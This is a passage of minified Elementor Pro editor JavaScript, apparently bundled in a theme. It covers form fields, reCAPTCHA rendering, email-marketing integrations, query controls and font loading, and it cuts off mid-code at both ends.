n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/elements/settings"}},{key:"getId",value:function(){return"elementor-pro-forms-fields-first-step"}},{key:"getContainerType",value:function(){return"repeater"}},{key:"getConditions",value:function(e){var t=e.containers;return"form"===(void 0===t?[e.container]:t)[0].parent.parent.model.get("widgetType")&&"step"===e.settings.field_type}},{key:"apply",value:function(e){var t=e.containers;return(void 0===t?[e.container]:t).forEach(function(e){"step"!==e.parent.children[0].settings.get("field_type")&&$e.run("document/repeater/insert",{container:e.parent.parent,name:"form_fields",model:{field_type:"step"},options:{at:0,external:!0}})}),!0}}]),n}($e.modules.hookData.After);t.FormFieldsAddFirstStep=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"FormFieldsUpdateShortCode",{enumerable:!0,get:function(){return r.FormFieldsUpdateShortCode}});var r=n(409)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.FormFieldsUpdateShortCode=void 0,n(19);var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/elements/settings"}},{key:"getId",value:function(){return"elementor-pro-forms-fields-update-shortcode"}},{key:"getContainerType",value:function(){return"repeater"}},{key:"getConditions",value:function(e){return!(!$e.routes.isPartOf("panel/editor")||void 0===e.settings.custom_id)}},{key:"apply",value:function(e){var t=e.containers;(void 0===t?[e.container]:t).forEach(function(e){e.panel.getControlView("form_fields").children.find(function(t){return e.id===t.model.get("_id")}).children.find(function(e){return"shortcode"===e.model.get("name")}).render()})}}]),n}($e.modules.hookUI.After);t.FormFieldsUpdateShortCode=l;var s=l;t.default=s},function(e,t,n){"use strict";e.exports=function(){var e,t,n,o=function(){var t=e.children.findByModelCid(n.cid);t&&t.render()},r=function(){var e,r=t.get("settings").get("form_fields").where({field_type:"email"});r=_.reject(r,{field_label:""}),e=_.map(r,function(e){return{id:e.get("custom_id"),label:elementorPenci.translate("x_field",[e.get("field_label")])}}),n.set("options",{"":n.get("options")[""]}),_.each(e,function(e){n.get("options")[e.id]=e.label}),o()},i=function(e){n.get("options")[""]=e.get("email_from"),o()},a=function(e){e.get("custom_id")&&"email"===e.get("field_type")&&r(),e.changed.email_from&&i(e)},u=function(o,u){e=o.getCurrentPageView(),t=u,n=e.collection.findWhere({name:"email_reply_to"});var l=t.get("settings");l.on("change",a),i(l),r()};elementor.hooks.addAction("panel/open_editor/widget/form",u)}},function(e,t,n){"use strict";n(19),e.exports=elementorModules.editor.utils.Module.extend({enqueueRecaptchaJs:function(e,t){elementorFrontend.elements.$body.find('[src="'+e+'"]').length||elementorFrontend.elements.$body.append('<script src="'+e+'" id="recaptcha-'+t+'"<\/script>')},renderField:function(e,t){return e+='<div class="elementor-field '+t.field_type+' ">',e+=this.getDataSettings(t),e+="</div>"},getDataSettings:function(e){var t=elementorPenci.config.forms[e.field_type];if(!t.enabled)return'<div class="elementor-alert elementor-alert-info">'+t.setup_message+"</div>";var n='data-sitekey="'+t.site_key+'" data-type="'+t.type+'"';switch(t.type){case"v3":n+=' data-action="form" data-size="invisible" data-badge="'+e.recaptcha_badge+'"';break;case"v2_checkbox":n+=' data-theme="'+e.recaptcha_style+'"',n+=' data-size="'+e.recaptcha_size+'"'}return this.enqueueRecaptchaJs("https://www.google.com/recaptcha/api.js?render=explicit",t.type),'<div class="elementor-g-recaptcha'+_.escape(e.css_classes)+'" '+n+"></div>"},filterItem:function(e){return"recaptcha"===e.field_type&&(e.field_label=!1),e},onInit:function(){elementor.hooks.addFilter("elementor_pro/forms/content_template/item",this.filterItem),elementor.hooks.addFilter("elementor_pro/forms/content_template/field/recaptcha",this.renderField,10,2),elementor.hooks.addFilter("elementor_pro/forms/content_template/field/recaptcha_v3",this.renderField,10,2)}})},function(e,t,n){"use strict";var o=n(199);e.exports=o.extend({fields:{},getName:function(){return"mailerlite"},onElementChange:function(e){switch(e){case"mailerlite_api_key_source":case"mailerlite_custom_api_key":this.onMailerliteApiKeyUpdate();break;case"mailerlite_group":this.updateFieldsMapping()}},onMailerliteApiKeyUpdate:function(){var e=this,t=e.getEditorControlView("mailerlite_custom_api_key"),n=e.getEditorControlView("mailerlite_api_key_source");if("default"!==n.getControlValue()&&""===t.getControlValue())return e.updateOptions("mailerlite_group",[]),void e.getEditorControlView("mailerlite_group").setValue("");e.addControlSpinner("mailerlite_group");var o=this.getCacheKey({type:"groups",controls:[t.getControlValue(),n.getControlValue()]});e.getMailerliteCache("groups","groups",o).done(function(t){e.updateOptions("mailerlite_group",t.groups),e.fields=t.fields})},updateFieldsMapping:function(){if(this.getEditorControlView("mailerlite_group").getControlValue()){var e=[{remote_label:elementor.translate("Email"),remote_type:"email",remote_id:"email",remote_required:!0},{remote_label:elementor.translate("Name"),remote_type:"text",remote_id:"name",remote_required:!1},{remote_label:elementor.translate("Last Name"),remote_type:"text",remote_id:"last_name",remote_required:!1},{remote_label:elementor.translate("Company"),remote_type:"text",remote_id:"company",remote_required:!1},{remote_label:elementor.translate("Phone"),remote_type:"text",remote_id:"phone",remote_required:!1},{remote_label:elementor.translate("Country"),remote_type:"text",remote_id:"country",remote_required:!1},{remote_label:elementor.translate("State"),remote_type:"text",remote_id:"state",remote_required:!1},{remote_label:elementor.translate("City"),remote_type:"text",remote_id:"city",remote_required:!1},{remote_label:elementor.translate("Zip"),remote_type:"text",remote_id:"zip",remote_required:!1}];for(var t in this.fields)this.fields.hasOwnProperty(t)&&e.push(this.fields[t]);this.getEditorControlView("mailerlite_fields_map").updateMap(e)}},getMailerliteCache:function(e,t,n,o){if(_.has(this.cache[e],n)){var r={};return r[e]=this.cache[e][n],jQuery.Deferred().resolve(r)}return o=_.extend({},o,{service:"mailerlite",mailerlite_action:t,custom_api_key:this.getEditorControlView("mailerlite_custom_api_key").getControlValue(),api_key:this.getEditorControlView("mailerlite_api_key_source").getControlValue()}),this.fetchCache(e,n,o)},onSectionActive:function(){o.prototype.onSectionActive.apply(this,arguments),this.onMailerliteApiKeyUpdate()}})},function(e,t,n){"use strict";n(19),e.exports=elementorModules.editor.utils.Module.extend({elementType:null,__construct:function(e){this.elementType=e,this.addEditorListener()},addEditorListener:function(){var e=this;if(e.onElementChange){var t="change";"global"!==e.elementType&&(t+=":"+e.elementType),elementor.channels.editor.on(t,function(t,n){e.onElementChange(t.model.get("name"),t,n)})}},addControlSpinner:function(e){var t=this.getEditorControlView(e).$el,n=t.find(":input");n.attr("disabled")||(n.attr("disabled",!0),t.find(".elementor-control-title").after('<span class="elementor-control-spinner"><i class="eicon-spinner eicon-animation-spin"></i>&nbsp;</span>'))},removeControlSpinner:function(e){var t=this.getEditorControlView(e).$el;t.find(":input").attr("disabled",!1),t.find(".elementor-control-spinner").remove()},addSectionListener:function(e,t){var n=this;elementor.channels.editor.on("section:activated",function(o,r){var i=r.getOption("editedElementView").getEditModel(),a=i.get("elType"),u=arguments;"widget"===a&&(a=i.get("widgetType")),n.elementType===a&&e===o&&setTimeout(function(){t.apply(n,u)},10)})}})},function(e,t,n){"use strict";var o=n(199);e.exports=o.extend({getName:function(){return"mailchimp"},onElementChange:function(e){switch(e){case"mailchimp_api_key_source":case"mailchimp_api_key":this.onApiUpdate();break;case"mailchimp_list":this.onMailchimpListUpdate()}},onApiUpdate:function(){var e=this,t=e.getEditorControlView("mailchimp_api_key"),n=e.getEditorControlView("mailchimp_api_key_source");if("default"!==n.getControlValue()&&""===t.getControlValue())return e.updateOptions("mailchimp_list",[]),void e.getEditorControlView("mailchimp_list").setValue("");e.addControlSpinner("mailchimp_list");var o=this.getCacheKey({type:"lists",controls:[t.getControlValue(),n.getControlValue()]});e.getMailchimpCache("lists","lists",o).done(function(t){e.updateOptions("mailchimp_list",t.lists),e.updatMailchimpList()})},onMailchimpListUpdate:function(){this.updateOptions("mailchimp_groups",[]),this.getEditorControlView("mailchimp_groups").setValue(""),this.updatMailchimpList()},updatMailchimpList:function(){var e=this,t=e.getEditorControlView("mailchimp_list");t.getControlValue()&&(e.addControlSpinner("mailchimp_groups"),this.getCacheKey({type:"list_details",controls:[t.getControlValue()]}),e.getMailchimpCache("list_details","list_details",t.getControlValue(),{mailchimp_list:t.getControlValue()}).done(function(t){e.updateOptions("mailchimp_groups",t.list_details.groups),e.getEditorControlView("mailchimp_fields_map").updateMap(t.list_details.fields)}))},getMailchimpCache:function(e,t,n,o){if(_.has(this.cache[e],n)){var r={};return r[e]=this.cache[e][n],jQuery.Deferred().resolve(r)}return o=_.extend({},o,{service:"mailchimp",mailchimp_action:t,api_key:this.getEditorControlView("mailchimp_api_key").getControlValue(),use_global_api_key:this.getEditorControlView("mailchimp_api_key_source").getControlValue()}),this.fetchCache(e,n,o)},onSectionActive:function(){o.prototype.onSectionActive.apply(this,arguments),this.onApiUpdate()}})},function(e,t,n){"use strict";var o=n(199);e.exports=o.extend({getName:function(){return"drip"},onElementChange:function(e){switch(e){case"drip_api_token_source":case"drip_custom_api_token":this.onApiUpdate();break;case"drip_account":this.onDripAccountsUpdate()}},onApiUpdate:function(){var e=this,t=e.getEditorControlView("drip_api_token_source"),n=e.getEditorControlView("drip_custom_api_token");if("default"!==t.getControlValue()&&""===n.getControlValue())return e.updateOptions("drip_account",[]),void e.getEditorControlView("drip_account").setValue("");e.addControlSpinner("drip_account"),this.getCacheKey({type:"accounts",controls:[t.getControlValue(),n.getControlValue()]}),e.getDripCache("accounts","accounts",t.getControlValue()).done(function(t){e.updateOptions("drip_account",t.accounts)})},onDripAccountsUpdate:function(){this.updateFieldsMapping()},updateFieldsMapping:function(){if(this.getEditorControlView("drip_account").getControlValue()){var e={remote_label:elementor.translate("Email"),remote_type:"email",remote_id:"email",remote_required:!0};this.getEditorControlView("drip_fields_map").updateMap([e])}},getDripCache:function(e,t,n,o){if(_.has(this.cache[e],n)){var r={};return r[e]=this.cache[e][n],jQuery.Deferred().resolve(r)}return o=_.extend({},o,{service:"drip",drip_action:t,api_token:this.getEditorControlView("drip_api_token_source").getControlValue(),custom_api_token:this.getEditorControlView("drip_custom_api_token").getControlValue()}),this.fetchCache(e,n,o)}})},function(e,t,n){"use strict";var o=n(199);e.exports=o.extend({fields:{},getName:function(){return"activecampaign"},onElementChange:function(e){switch(e){case"activecampaign_api_credentials_source":case"activecampaign_api_key":case"activecampaign_api_url":this.onApiUpdate();break;case"activecampaign_list":this.onListUpdate()}},onApiUpdate:function(){var e=this,t=e.getEditorControlView("activecampaign_api_key"),n=e.getEditorControlView("activecampaign_api_url"),o=e.getEditorControlView("activecampaign_api_credentials_source");if("default"!==o.getControlValue()&&(""===t.getControlValue()||""===n.getControlValue()))return e.updateOptions("activecampaign_list",[]),void e.getEditorControlView("activecampaign_list").setValue("");e.addControlSpinner("activecampaign_list");var r=this.getCacheKey({controls:[o.getControlValue(),n.getControlValue(),t.getControlValue()]});e.getActiveCampaignCache("lists","activecampaign_list",r).done(function(t){e.updateOptions("activecampaign_list",t.lists),e.fields=t.fields})},onListUpdate:function(){this.updateFieldsMapping()},updateFieldsMapping:function(){if(this.getEditorControlView("activecampaign_list").getControlValue()){var e=[{remote_label:elementor.translate("Email"),remote_type:"email",remote_id:"email",remote_required:!0},{remote_label:elementor.translate("First Name"),remote_type:"text",remote_id:"first_name",remote_required:!1},{remote_label:elementor.translate("Last Name"),remote_type:"text",remote_id:"last_name",remote_required:!1},{remote_label:elementor.translate("Phone"),remote_type:"text",remote_id:"phone",remote_required:!1},{remote_label:elementor.translate("Organization name"),remote_type:"text",remote_id:"orgname",remote_required:!1}];for(var t in this.fields)this.fields.hasOwnProperty(t)&&e.push(this.fields[t]);this.getEditorControlView("activecampaign_fields_map").updateMap(e)}},getActiveCampaignCache:function(e,t,n,o){if(_.has(this.cache[e],n)){var r={};return r[e]=this.cache[e][n],jQuery.Deferred().resolve(r)}return o=_.extend({},o,{service:"activecampaign",activecampaign_action:t,api_key:this.getEditorControlView("activecampaign_api_key").getControlValue(),api_url:this.getEditorControlView("activecampaign_api_url").getControlValue(),api_cred:this.getEditorControlView("activecampaign_api_credentials_source").getControlValue()}),this.fetchCache(e,n,o)}})},function(e,t,n){"use strict";var o=n(199);e.exports=o.extend({getName:function(){return"getresponse"},onElementChange:function(e){switch(e){case"getresponse_custom_api_key":case"getresponse_api_key_source":this.onApiUpdate();break;case"getresponse_list":this.onGetResonseListUpdate()}},onApiUpdate:function(){var e=this,t=e.getEditorControlView("getresponse_api_key_source"),n=e.getEditorControlView("getresponse_custom_api_key");if("default"!==t.getControlValue()&&""===n.getControlValue())return e.updateOptions("getresponse_list",[]),void e.getEditorControlView("getresponse_list").setValue("");e.addControlSpinner("getresponse_list");var o=this.getCacheKey({type:"lists",controls:[t.getControlValue(),n.getControlValue()]});e.getCache("lists","lists",o).done(function(t){e.updateOptions("getresponse_list",t.lists)})},onGetResonseListUpdate:function(){this.updatGetResonseList()},updatGetResonseList:function(){var e=this,t=e.getEditorControlView("getresponse_list");if(t.getControlValue()){e.addControlSpinner("getresponse_fields_map");var n=this.getCacheKey({type:"fields",controls:[t.getControlValue()]});e.getCache("fields","get_fields",n,{getresponse_list:t.getControlValue()}).done(function(t){e.getEditorControlView("getresponse_fields_map").updateMap(t.fields)})}},getCache:function(e,t,n,o){if(_.has(this.cache[e],n)){var r={};return r[e]=this.cache[e][n],jQuery.Deferred().resolve(r)}return o=_.extend({},o,{service:"getresponse",getresponse_action:t,api_key:this.getEditorControlView("getresponse_api_key_source").getControlValue(),custom_api_key:this.getEditorControlView("getresponse_custom_api_key").getControlValue()}),this.fetchCache(e,n,o)},onSectionActive:function(){o.prototype.onSectionActive.apply(this,arguments),this.updatGetResonseList()}})},function(e,t,n){"use strict";var o=n(199);e.exports=o.extend({getName:function(){return"convertkit"},onElementChange:function(e){switch(e){case"convertkit_api_key_source":case"convertkit_custom_api_key":this.onApiUpdate();break;case"convertkit_form":this.onListUpdate()}},onApiUpdate:function(){var e=this,t=e.getEditorControlView("convertkit_api_key_source"),n=e.getEditorControlView("convertkit_custom_api_key");if("default"!==t.getControlValue()&&""===n.getControlValue())return e.updateOptions("convertkit_form",[]),void e.getEditorControlView("convertkit_form").setValue("");e.addControlSpinner("convertkit_form");var o=this.getCacheKey({type:"data",controls:[t.getControlValue(),n.getControlValue()]});e.getConvertKitCache("data","convertkit_get_forms",o).done(function(t){e.updateOptions("convertkit_form",t.data.forms),e.updateOptions("convertkit_tags",t.data.tags)})},onListUpdate:function(){this.updateFieldsMapping()},updateFieldsMapping:function(){if(this.getEditorControlView("convertkit_form").getControlValue()){var e=[{remote_label:elementor.translate("Email"),remote_type:"email",remote_id:"email",remote_required:!0},{remote_label:elementor.translate("First Name"),remote_type:"text",remote_id:"first_name",remote_required:!1}];this.getEditorControlView("convertkit_fields_map").updateMap(e)}},getConvertKitCache:function(e,t,n,o){if(_.has(this.cache[e],n)){var r={};return r[e]=this.cache[e][n],jQuery.Deferred().resolve(r)}return o=_.extend({},o,{service:"convertkit",convertkit_action:t,api_key:this.getEditorControlView("convertkit_api_key_source").getControlValue(),custom_api_key:this.getEditorControlView("convertkit_custom_api_key").getControlValue()}),this.fetchCache(e,n,o)}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({renderField:function(e,t,n,o){var r=_.escape(t.css_classes),i="",a="";return t.required&&(i="required"),t.placeholder&&(a=' placeholder="'+t.placeholder+'"'),"yes"===t.use_native_time&&(r+=" elementor-use-native"),'<input size="1" type="time"'+a+' class="elementor-field-textual elementor-time-field elementor-field elementor-size-'+o.input_size+" "+r+'" name="form_field_'+n+'" id="form_field_'+n+'" '+i+" >"},onInit:function(){elementor.hooks.addFilter("elementor_pro/forms/content_template/field/time",this.renderField,10,4)}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({renderField:function(e,t,n,o){var r=_.escape(t.css_classes),i="",a="",u="",l="";return t.required&&(i="required"),t.min_date&&(a=' min="'+t.min_date+'"'),t.max_date&&(u=' max="'+t.max_date+'"'),t.placeholder&&(l=' placeholder="'+t.placeholder+'"'),"yes"===t.use_native_date&&(r+=" elementor-use-native"),'<input size="1"'+a+u+l+' pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}" type="date" class="elementor-field-textual elementor-date-field elementor-field elementor-size-'+o.input_size+" "+r+'" name="form_field_'+n+'" id="form_field_'+n+'" '+i+" >"},onInit:function(){elementor.hooks.addFilter("elementor_pro/forms/content_template/field/date",this.renderField,10,4)}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({renderField:function(e,t,n,o){var r=_.escape(t.css_classes),i="",a="",u="";return t.required&&(i="required"),t.acceptance_text&&(a='<label for="form_field_'+n+'">'+t.acceptance_text+"</label>"),t.checked_by_default&&(u=' checked="checked"'),'<div class="elementor-field-subgroup"><span class="elementor-field-option"><input size="1" type="checkbox"'+u+' class="elementor-acceptance-field elementor-field elementor-size-'+o.input_size+" "+r+'" name="form_field_'+n+'" id="form_field_'+n+'" '+i+" > "+a+"</span></div>"},onInit:function(){elementor.hooks.addFilter("elementor_pro/forms/content_template/field/acceptance",this.renderField,10,4)}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({renderField:function(e,t,n,o){var r=_.escape(t.css_classes),i="",a="",u="form_field_";return t.required&&(i="required"),t.allow_multiple_upload&&(a=' multiple="multiple"',u+="[]"),'<input size="1"  type="file" class="elementor-file-field elementor-field elementor-size-'+o.input_size+" "+r+'" name="'+u+'" id="form_field_'+n+'" '+i+a+" >"},onInit:function(){elementor.hooks.addFilter("elementor_pro/forms/content_template/field/upload",this.renderField,10,4)}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({renderField:function(e,t,n,o){var r=_.escape(t.css_classes),i="",a="";return t.required&&(i="required"),t.placeholder&&(a=' placeholder="'+t.placeholder+'"'),r="elementor-field-textual "+r,'<input size="1" type="'+t.field_type+'" class="elementor-field-textual elementor-field elementor-size-'+o.input_size+" "+r+'" name="form_field_'+n+'" id="form_field_'+n+'" '+i+" "+a+' pattern="[0-9()-]" >'},onInit:function(){elementor.hooks.addFilter("elementor_pro/forms/content_template/field/tel",this.renderField,10,4)}})},function(e,t,n){"use strict";n(19),e.exports=elementor.modules.controls.Repeater.extend({onBeforeRender:function(){this.$el.hide()},updateMap:function(e){var t=this,n={};t.collection.each(function(e){n[e.get("remote_id")]=e.get("local_id")}),t.collection.reset(),_.each(e,function(e){var o={remote_id:e.remote_id,remote_label:e.remote_label,remote_type:e.remote_type?e.remote_type:"",remote_required:!!e.remote_required&&e.remote_required,local_id:n[e.remote_id]?n[e.remote_id]:""};t.collection.add(o)}),t.render()},onRender:function(){elementor.modules.controls.Base.prototype.onRender.apply(this,arguments);var e=this;e.children.each(function(t){var n=t.children.last(),o={"":"- "+elementor.translate("None")+" -"},r=t.model.get("remote_label");t.model.get("remote_required")&&(r+='<span class="elementor-required">*</span>'),_.each(e.elementSettingsModel.get("form_fields").models,function(e,n){var r=t.model.get("remote_type");"text"!==r&&r!==e.get("field_type")||(o[e.get("custom_id")]=e.get("field_label")||"Field #"+(n+1))}),n.model.set("label",r),n.model.set("options",o),n.render(),t.$el.find(".elementor-repeater-row-tools").hide(),t.$el.find(".elementor-repeater-row-controls").removeClass("elementor-repeater-row-controls").find(".elementor-control").css({paddingBottom:0})}),e.$el.find(".elementor-button-wrapper").remove(),e.children.length&&e.$el.show()}})},function(e,t,n){"use strict";var o=n(1),r=o(n(3)),i=o(n(6)),a=o(n(61)),u=o(n(25)),l=o(n(4)),s=o(n(5)),c=o(n(426));e.exports=function(e){(0,l.default)(n,e);var t=(0,s.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"className",value:function(){var e=(0,a.default)((0,u.default)(n.prototype),"className",this).call(this);return e+=" elementor-control-type-repeater"}},{key:"getChildView",value:function(){return c.default}},{key:"initialize",value:function(){for(var e,t=this,o=arguments.length,r=new Array(o),i=0;i<o;i++)r[i]=arguments[i];(e=(0,a.default)((0,u.default)(n.prototype),"initialize",this)).call.apply(e,[this].concat(r));var l=this.container.settings.get("form_fields");this.listenTo(l,"change",function(e){return t.onFormFieldChange(e)}).listenTo(l,"remove",function(e){return t.onFormFieldRemove(e)})}},{key:"getFirstChild",value:function(){return this.children.findByModel(this.collection.models[0])}},{key:"lockFirstStep",value:function(){var e=this.getFirstChild();"step"===e.model.get("field_type")&&(1<this.collection.where({field_type:"step"}).length&&(e.toggleFieldTypeControl(!1),e.toggleTools(!1)),e.toggleSort(!1))}},{key:"onFormFieldChange",value:function(e){var t=e.changed.field_type;if(t&&("step"===t||"step"===e._previousAttributes.field_type)){var n="step"===t;this.children.findByModel(e).toggleStepField(n),this.onStepFieldChanged(n)}}},{key:"onFormFieldRemove",value:function(e){"step"===e.get("field_type")&&this.onStepFieldChanged(!1)}},{key:"onStepFieldChanged",value:function(e){if(e)this.lockFirstStep();else{var t=this.collection.where({field_type:"step"});if(!(t.length>1)){var n=this.getFirstChild();if(1===t.length)return n.toggleTools(!0),void n.toggleFieldTypeControl(!0);n.toggleSort(!0)}}}},{key:"onAddChild",value:function(e){(0,a.default)((0,u.default)(n.prototype),"onAddChild",this).call(this,e),"step"===e.model.get("field_type")&&(this.lockFirstStep(),e.toggleStepField(!0))}}]),n}(elementor.modules.controls.Repeater)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"toggleFieldTypeControl",value:function(e){var t=this.collection.findWhere({name:"field_type"});this.children.findByModel(t).$el.toggle(e)}},{key:"toggleStepField",value:function(e){this.$el.toggleClass("elementor-repeater-row--form-step",e)}},{key:"toggleTools",value:function(e){this.ui.removeButton.add(this.ui.duplicateButton).toggle(e)}}]),n}(elementor.modules.controls.RepeaterRow);t.default=l},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(428)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"onElementorInit",value:function(){$e.components.register(new l.default)}}]),n}(elementorModules.editor.utils.Module);t.default=s},function(e,t,n){"use strict";var o=n(148),r=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var i=r(n(3)),a=r(n(6)),u=r(n(4)),l=r(n(5)),s=o(n(429)),c=function(e){(0,u.default)(n,e);var t=(0,l.default)(n);function n(){return(0,i.default)(this,n),t.apply(this,arguments)}return(0,a.default)(n,[{key:"getNamespace",value:function(){return"screenshots"}},{key:"defaultHooks",value:function(){return this.importHooks(s)}}]),n}($e.modules.ComponentBase);t.default=c},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"DeleteScreenshot",{enumerable:!0,get:function(){return r.DeleteScreenshot}});var r=n(430)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.DeleteScreenshot=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/save/save"}},{key:"getConditions",value:function(e){var t=e.status,n=elementor.documents.getCurrent().config;return"publish"===t&&n.support_site_editor}},{key:"getId",value:function(){return"document/save/save::delete-screenshot"}},{key:"apply",value:function(){var e=elementor.documents.getCurrent().id;return elementorCommon.ajax.addRequest("screenshot_delete",{unique_id:"delete_screenshot_".concat(e),data:{post_id:e}})}}]),n}($e.modules.hookData.After);t.DeleteScreenshot=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(239)),s=n(181),c=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"onElementorInit",value:function(){elementor.documents.getCurrent().config.support_site_editor&&($e.components.register(new l.default),$e.data.deleteCache($e.components.get(l.default.namespace),s.Templates.signature))}}]),n}(elementorModules.editor.utils.Module);t.default=c},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({onElementorPreviewLoaded:function(){elementor.addControlView("Query",n(433))}})},function(e,t,n){"use strict";n(19),e.exports=elementor.modules.controls.Select2.extend({cache:null,isTitlesReceived:!1,getSelect2Placeholder:function(){return{id:"",text:elementorPenci.translate("all")}},getControlValueByName:function(e){var t=this.model.get("group_prefix")+e;return this.elementSettingsModel.attributes[t]},getQueryDataDeprecated:function(){return{filter_type:this.model.get("filter_type"),object_type:this.model.get("object_type"),include_type:this.model.get("include_type"),query:this.model.get("query")}},getQueryData:function(){var e=elementorCommon.helpers.cloneObject(this.model.get("autocomplete"));return _.isEmpty(e.query)&&(e.query={}),"cpt_tax"===e.object&&(e.object="tax",(_.isEmpty(e.query)||_.isEmpty(e.query.post_type))&&(e.query.post_type=this.getControlValueByName("post_type"))),{autocomplete:e}},getSelect2DefaultOptions:function(){var e=this;return jQuery.extend(elementor.modules.controls.Select2.prototype.getSelect2DefaultOptions.apply(this,arguments),{ajax:{transport:function(t,n,o){var r={},i="panel_posts_control_filter_autocomplete";return!_.isEmpty(e.model.get("filter_type"))?(r=e.getQueryDataDeprecated(),i="panel_posts_control_filter_autocomplete"):r=e.getQueryData(),r.q=t.data.q,elementorPenci.ajax.addRequest(i,{data:r,success:n,error:o})},data:function(e){return{q:e.term,page:e.page}},cache:!0},escapeMarkup:function(e){return e},minimumInputLength:1})},getValueTitles:function(){var e=this,t={},n=!_.isEmpty(this.model.get("filter_type")),o=this.getControlValue(),r="query_control_value_titles",i="autocomplete",a={};n?(i="filter_type",a=this.model.get(i),t.filter_type=a,t.object_type=e.model.get("object_type"),t.include_type=e.model.get("include_type"),t.unique_id=""+e.cid+a,r="query_control_value_titles"):(a=this.model.get(i).object,t.get_titles=e.getQueryData().autocomplete,t.unique_id=""+e.cid+a),o&&a&&(_.isArray(o)||(o=[o]),elementorCommon.ajax.loadObjects({action:r,ids:o,data:t,before:function(){e.addControlSpinner()},success:function(t){e.isTitlesReceived=!0,e.model.set("options",t),e.render()}}))},addControlSpinner:function(){this.ui.select.prop("disabled",!0),this.$el.find(".elementor-control-title").after('<span class="elementor-control-spinner">&nbsp;<i class="eicon-spinner eicon-animation-spin"></i>&nbsp;</span>')},onReady:function(){this.isTitlesReceived||this.getValueTitles()}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({onElementorPreviewLoaded:function(){var e=n(435);this.editButton=new e}})},function(e,t,n){"use strict";n(19),e.exports=function(){var e=this;e.onPanelShow=function(t){var n=t.content.currentView.collection.findWhere({name:"template_id"});e.templateIdView=t.content.currentView.children.findByModelCid(n.cid),e.templateIdView.elementSettingsModel.on("change",e.onTemplateIdChange),e.templateIdView.on("render",e.onTemplateIdChange)},e.onTemplateIdChange=function(){var t=e.templateIdView.elementSettingsModel.get("template_id"),n=e.templateIdView.$el.find(".elementor-edit-template");if(t){var o=ElementorConfig.home_url+"?p="+t+"&elementor";n.length?n.prop("href",o):(n=jQuery("<a />",{target:"_blank",class:"elementor-button elementor-button-default elementor-edit-template",href:o,html:'<i class="fa fa-pencil" /> '+elementorPenci.config.i18n.edit_template}),e.templateIdView.$el.find(".elementor-control-input-wrapper").after(n))}else n.remove()},e.init=function(){elementor.hooks.addAction("panel/open_editor/widget/template",e.onPanelShow)},e.init()}},function(e,t,n){"use strict";n(19),e.exports=elementorModules.editor.utils.Module.extend({onElementorInit:function(){elementor.channels.editor.on("section:activated",this.onSectionActivated)},onSectionActivated:function(e,t){var n=t.getOption("editedElementView");if("flip-box"===n.model.get("widgetType")){var o=-1!==["section_side_b_content","section_style_b"].indexOf(e);n.$el.toggleClass("elementor-flip-box--flipped",o);var r=n.$el.find(".elementor-flip-box__back");o&&r.css("transition","none"),o||setTimeout(function(){r.css("transition","")},10)}}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({config:elementorPenci.config.shareButtonsNetworks,networksClassDictionary:{google:"fab fa-google-plus",pocket:"fab fa-get-pocket",email:"fas fa-envelope"},getNetworkClass:function(e){var t=this.networksClassDictionary[e]||"fab fa-"+e;return elementor.config.icons_update_needed&&(t="fa "+t),t},getNetworkTitle:function(e){return e.text||this.config[e.button].title},hasCounter:function(e,t){return"icon"!==t.view&&"yes"===t.show_counter&&this.config[e].has_counter}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({onElementorInit:function(){var e=n(439);this.assets={font:new e}}})},function(e,t,n){"use strict";n(19),e.exports=elementorModules.Module.extend({_enqueuedFonts:[],_enqueuedTypekit:!1,onFontChange:function(e,t){"custom"!==e&&"typekit"!==e||-1===this._enqueuedFonts.indexOf(t)&&("typekit"===e&&this._enqueuedTypekit||this.getCustomFont(e,t))},getCustomFont:function(e,t){elementorPenci.ajax.addRequest("assets_manager_panel_action_data",{unique_id:"font_"+e+t,data:{service:"font",type:e,font:t},success:function(e){e.font_face&&elementor.$previewContents.find("style:last").after('<style 